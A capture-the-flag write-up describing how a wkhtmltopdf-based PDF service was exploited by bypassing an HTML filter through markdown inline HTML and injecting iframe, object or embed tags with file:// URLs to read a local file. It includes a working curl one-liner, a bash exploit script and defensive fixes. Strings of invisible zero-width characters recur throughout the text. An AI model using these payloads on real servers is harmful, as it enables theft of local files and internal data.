← Back to Writeups
CUSTOMMediumWeb

Скрипторий Архимага (Scriptorium)

XESXOR9/10/20264 min read
#web#custom#medium#html-filter-bypass-via-markdow#local-file-inclusion-through-p#wkhtmltopdf-ssrf/lfi-via-file:#linux

Скрипторий Архимага (Scriptorium)

Platform: caplag | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: HTML filter bypass via markdown format switching, Local File Inclusion through PDF generator iframe injection, wkhtmltopdf SSRF/LFI via file:// protocol

Summary

Task: PDF generation service using wkhtmltopdf with HTML/markdown input. Solution: Bypass HTML filter by using markdown format with inline HTML, then exploit wkhtmltopdf file:// protocol support via iframe injection to read local files.

Скрипторий Архимага (Scriptorium) — caplag

Description

"В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара."

Target: https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru/

Analysis

1. Reconnaissance

Server: Werkzeug/3.1.5 Python/3.11.14 (Flask).

The application is a "scriptorium" that accepts user text and generates a stylized PDF scroll.

Main endpoint:

POST /seal
Content-Type: multipart/form-data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

content=<text>
format=html|markdown

In the generated PDF metadata, Creator: wkhtmltopdf 0.12.6 (Qt 5.15.8) was found — a known PDF generator with SSRF/LFI vulnerabilities.

Hint from the "Spell Reference":

"Свиток может включать вложенные страницы и артефакты из хранилища башни"

This hints at the possibility of including external/local resources through HTML elements (iframe, object, embed).

2. Filter Discovery

With format=html, the server filters HTML tags. Any request containing <p>, <img>, <iframe>, <script>, <object>, <embed>, etc., returns an error: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTTP 500: "Милорд, стражи портала отвергли свиток..."

Or the connection drops (0 bytes).

3. Filter Bypass via Markdown

Critical discovery: with format=markdown, the server converts markdown to HTML and then passes the result to wkhtmltopdf. The HTML tag filter is applied ONLY for format=html!

According to the CommonMark specification, markdown allows inline HTML. Thus, arbitrary HTML tags can be passed through the markdown format, bypassing the filter.

4. wkhtmltopdf Exploitation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

wkhtmltopdf 0.12.6 supports the file:// protocol, which allows reading local files through HTML elements:

  • <iframe src="file:///path"> — renders file contents inside the frame
  • <object data="file:///path"> — similar
  • <embed src="file:///path"> — similar

Solution

One-liner Attack

bash
curl -s -X POST "https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru/seal" \
  -F 'content=<iframe src="file:///flag.txt" width="800" height="400"></iframe>' \
  -F "format=markdown" \
  -o flag.pdf
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract text from PDF
pdftotext flag.pdf -

Attack Chain

  1. Filter bypass: use format=markdown instead of format=html — HTML tag filter is not applied
  2. HTML injection: embed <iframe> with file:///flag.txt as source
  3. LFI via wkhtmltopdf: the generator renders the iframe, reads the local file via file:// protocol and includes its contents in the PDF
  4. Extraction: pdftotext to get text from PDF

Full Script

bash
#!/bin/bash
# Scriptorium Exploit — wkhtmltopdf LFI via markdown filter bypass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET="https://task-archmage-scriptorium-8cd149ee889c41f4.caplag-task.ru"

echo "[*] Exploiting wkhtmltopdf LFI via markdown format bypass..."

# Step 1: Inject iframe via markdown format to bypass HTML filter
curl -s -X POST "$TARGET/seal" \
  -F 'content=<iframe src="file:///flag.txt" width="800" height="400"></iframe>' \
  -F "format=markdown" \
  -o flag.pdf

echo "[*] PDF saved to flag.pdf"

# Step 2: Extract text from PDF
echo "[*] Extracting flag..."
pdftotext flag.pdf - 2>/dev/null

echo "[+] Done!"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Payloads (also work)

html
<!-- object tag -->
<object data="file:///flag.txt" type="text/plain" width="800" height="400"></object>

<!-- embed tag -->
<embed src="file:///flag.txt" type="text/plain">

All sent with format=markdown.

What Didn't Work

AttemptResult
SSTI {{7*7}}Rendered as literal text, not interpreted
HTML tags with format=htmlAll blocked by server filter
file:// in markdown image syntax ![img](file:///flag.txt)File loaded as binary image, unreadable
<script> tagsBlocked even in markdown mode
SSI <!--#include -->Blocked
JavaScript protocol in markdown linksReturns 500
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerabilities

1. Inconsistent Filtering (Filter Bypass)

python
# Vulnerable code (presumably)
if format == 'html':
    if has_dangerous_tags(content):  # Filter only for HTML!
        return error("Guards rejected the scroll")
elif format == 'markdown':
    content = markdown_to_html(content)  # Inline HTML passes without check!

pdf = wkhtmltopdf(content)

Problem: filter is applied only to format=html, but markdown with inline HTML passes without verification.

2. wkhtmltopdf SSRF/LFI

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

wkhtmltopdf renders HTML as a full browser (based on Qt WebKit), including:

  • file:// protocol for reading local files
  • http:// for SSRF to internal services
  • JavaScript execution (if not disabled)

Defense

  1. Filter HTML after markdown conversion, not only for format=html
  2. Use --disable-local-file-access flag for wkhtmltopdf
  3. Prohibit file:// protocol in wkhtmltopdf via --allow whitelist
  4. Sanitize HTML with a library like bleach/DOMPurify before passing to PDF generator
  5. Use more secure PDF generators (WeasyPrint, Puppeteer with sandbox) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
# Secure variant
import bleach

ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'h1', 'h2', 'h3', 'ul', 'ol', 'li']

def generate_pdf(content, format):
    if format == 'markdown':
        content = markdown_to_html(content)
    
    # Sanitization AFTER conversion — key point!
    content = bleach.clean(content, tags=ALLOWED_TAGS, strip=True)
    
    # Secure wkhtmltopdf flags
    pdf = pdfkit.from_string(content, options={
        '--disable-local-file-access': '',
        '--disable-javascript': '',
    })
    return pdf

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References